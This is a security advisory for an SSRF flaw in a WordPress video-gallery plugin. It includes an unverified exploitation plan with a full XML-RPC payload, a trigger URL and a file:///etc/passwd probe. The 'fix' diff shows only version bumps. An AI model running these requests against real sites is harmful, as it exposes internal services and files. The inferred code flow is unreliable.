CVE-2026-12123

All-in-One Video Gallery <= 4.8.5 - Authenticated (Subscriber+) Server-Side Request Forgery via 'vdl' Parameter

mediumServer-Side Request Forgery (SSRF)
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
4.9.0
Patched in
1d
Time to patch

Description

The All-in-One Video Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.8.5 via the 'vdl' parameter. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. A Subscriber-level attacker can plant an internal or loopback URL in the `mp4` post meta of a newly created `aiovg_videos` post via XML-RPC `wp.newPost`, then trigger the unauthenticated `?vdl=<post_id>` endpoint to force the server to fetch that URL and stream the full response body back to the requester.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.8.5
PublishedJuly 9, 2026
Last updatedJuly 10, 2026

What Changed in the Fix

Changes introduced in v4.9.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-12123 ## 1. Vulnerability Summary The **All-in-One Video Gallery** plugin (<= 4.8.5) is vulnerable to an **Authenticated Server-Side Request Forgery (SSRF)**. The vulnerability exists due to an unauthenticated endpoint `?vdl=<post_id>` that fetches and stream…

Show full research plan

Exploitation Research Plan - CVE-2026-12123

1. Vulnerability Summary

The All-in-One Video Gallery plugin (<= 4.8.5) is vulnerable to an Authenticated Server-Side Request Forgery (SSRF). The vulnerability exists due to an unauthenticated endpoint ?vdl=<post_id> that fetches and streams the content of a URL stored in the mp4 post meta of an aiovg_videos post. While the trigger is unauthenticated, the setup requires an attacker with at least Subscriber-level permissions to create a post and inject a malicious URL into the mp4 metadata via the WordPress XML-RPC API.

2. Attack Vector Analysis

  • Vulnerable Parameter: vdl (GET parameter on the site root or index.php).
  • Metadata Source: mp4 post meta key associated with the aiovg_videos post type.
  • Authentication Required:
    • Setup Phase: Subscriber-level credentials (authenticated).
    • Trigger Phase: Unauthenticated (no login required).
  • Endpoint: /?vdl=[post_id]
  • Mechanism: The plugin retrieves the URL from the mp4 meta of the specified post ID and uses a server-side HTTP client to fetch the content, which is then passed directly back to the requester.

3. Code Flow (Inferred)

Based on the vulnerability description and the provided file list (specifically languages/all-in-one-video-gallery.pot referencing public/video.php):

  1. Entry Point: A hook in public/video.php (registered via init or template_redirect) checks for the presence of $_GET['vdl'].
  2. Post Retrieval: The code calls get_post( (int) $_GET['vdl'] ) to verify the existence of the video post.
  3. Meta Retrieval: The code retrieves the video source URL using get_post_meta( $post_id, 'mp4', true ).
  4. SSRF Sink: The server invokes an HTTP request (likely via wp_remote_get or curl) to the retrieved URL.
  5. Data Exfiltration: The response body of the HTTP request is echoed to the output buffer, effectively streaming the internal resource back to the attacker.

4. Nonce Acquisition Strategy

The vulnerability description explicitly states that the ?vdl=<post_id> endpoint is unauthenticated.

  • Setup (XML-RPC): XML-RPC wp.newPost does not use standard WordPress nonces; it relies on username/password authentication.
  • Trigger (vdl): This endpoint is designed for file downloads or streaming and typically lacks nonce protection to support external player requests.

Conclusion: No nonce acquisition is required for this exploit.

5. Exploitation Strategy

Step 1: Create a Malicious Video Post via XML-RPC

Use the XML-RPC wp.newPost method to create an aiovg_videos post containing the SSRF payload in the mp4 custom field.

HTTP Request (http_request tool):

  • Method: POST
  • URL: http://<target>/xmlrpc.php
  • Headers: Content-Type: text/xml
  • Body:
<?xml version="1.0"?>
<methodCall>
  <methodName>wp.newPost</methodName>
  <params>
    <param><value><int>1</int></value></param> <!-- blog_id -->
    <param><value><string>subscriber_user</string></value></param>
    <param><value><string>subscriber_password</string></value></param>
    <param>
      <value>
        <struct>
          <member>
            <name>post_type</name>
            <value><string>aiovg_videos</string></value>
          </member>
          <member>
            <name>post_status</name>
            <value><string>publish</string></value>
          </member>
          <member>
            <name>post_title</name>
            <value><string>SSRF PoC</string></value>
          </member>
          <member>
            <name>custom_fields</name>
            <value>
              <array>
                <data>
                  <value>
                    <struct>
                      <member>
                        <name>key</name>
                        <value><string>mp4</string></value>
                      </member>
                      <member>
                        <name>value</name>
                        <value><string>http://127.0.0.1:80/wp-admin/</string></value>
                      </member>
                    </struct>
                  </value>
                </data>
              </array>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

Step 2: Trigger the SSRF

Extract the post_id from the XML-RPC response (e.g., <value><string>123</string></value>) and request the vdl endpoint.

HTTP Request (http_request tool):

  • Method: GET
  • URL: http://<target>/?vdl=123
  • Expected Response: The HTML source of the internal wp-admin page or the response from the targeted internal service.

6. Test Data Setup

  1. User Creation: Create a user with the subscriber role.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    
  2. Plugin Configuration: Ensure the All-in-One Video Gallery plugin is active.
  3. XML-RPC Check: Ensure XML-RPC is enabled (default in modern WP).

7. Expected Results

  • The XML-RPC request should return a new post_id.
  • The GET request to ?vdl=[post_id] should return the content of http://127.0.0.1:80/wp-admin/ (or any other specified internal URL), proving the server made the request and relayed the response.

8. Verification Steps

  1. Check Post Creation: Use WP-CLI to verify the post and meta were created correctly.
    wp post list --post_type=aiovg_videos
    wp post meta list [POST_ID]
    
  2. Verify SSRF Log: If the test environment has access to server logs, verify that a request originated from the web server's IP to the target URL.

9. Alternative Approaches

  • Encoded IDs: If ?vdl=123 fails, check if the ID needs to be base64 encoded using the plugin's internal logic.
    • Reference includes/helpers/functions.php: aiovg_base64_encode('123').
    • Try: ?vdl=MTIz. (Base64 for 123 using the plugin's specific char replacement: + to -, / to _, = to .).
  • Different Post Status: If publish is restricted via XML-RPC for subscribers, try pending. The vdl handler might not check the post status.
  • Protocol Variations: Test with other protocols if the underlying PHP environment supports them (e.g., file:///etc/passwd).
Research Findings
Static analysis — not yet PoC-verified

Summary

The All-in-One Video Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) via the 'vdl' parameter in versions up to 4.8.5. Authenticated attackers with Subscriber-level access can inject malicious internal URLs into the 'mp4' post meta of a video post and then trigger the server to fetch and stream the response body of that URL by requesting the unauthenticated 'vdl' endpoint.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/all-in-one-video-gallery/4.8.5/all-in-one-video-gallery.php /home/deploy/wp-safety.org/data/plugin-versions/all-in-one-video-gallery/4.9.0/all-in-one-video-gallery.php
--- /home/deploy/wp-safety.org/data/plugin-versions/all-in-one-video-gallery/4.8.5/all-in-one-video-gallery.php	2026-05-11 04:55:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/all-in-one-video-gallery/4.9.0/all-in-one-video-gallery.php	2026-06-23 04:21:00.000000000 +0000
@@ -11,7 +11,7 @@
  * Plugin Name:     All-in-One Video Gallery
  * Plugin URI:      https://plugins360.com/all-in-one-video-gallery/
  * Description:     An ultimate video player and video gallery plugin – no coding required. Suitable for YouTubers, Video Bloggers, Course Creators, Podcasters, Sales & Marketing Professionals, and anyone using video on a website.
- * Version:         4.8.5
+ * Version:         4.9.0
  * Author:          Team Plugins360
  * Author URI:      https://plugins360.com
  * License:         GPL-2.0+
@@ -69,7 +69,7 @@
 }
 // The current version of the plugin
 if ( !defined( 'AIOVG_PLUGIN_VERSION' ) ) {
-    define( 'AIOVG_PLUGIN_VERSION', '4.8.5' );
+    define( 'AIOVG_PLUGIN_VERSION', '4.9.0' );
 }

Exploit Outline

1. Authenticate to the WordPress site as a user with Subscriber-level permissions or higher. 2. Use the WordPress XML-RPC API (typically at `/xmlrpc.php`) with the `wp.newPost` method to create a new post of type `aiovg_videos`. 3. In the post creation request, include a custom field (metadata) with the key `mp4` and a value containing the target internal or loopback URL (e.g., `http://127.0.0.1/wp-admin/`). 4. Extract the resulting `post_id` from the XML-RPC response. 5. Trigger the SSRF by sending an unauthenticated GET request to the site root using the `vdl` parameter (e.g., `/?vdl=[post_id]`). Note: The plugin may require the ID to be base64-encoded using its specific character mapping (+ to -, / to _, = to .). 6. The plugin's back-end handler will retrieve the URL from the post meta, perform a server-side request to that URL, and echo the entire response body back to the attacker.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.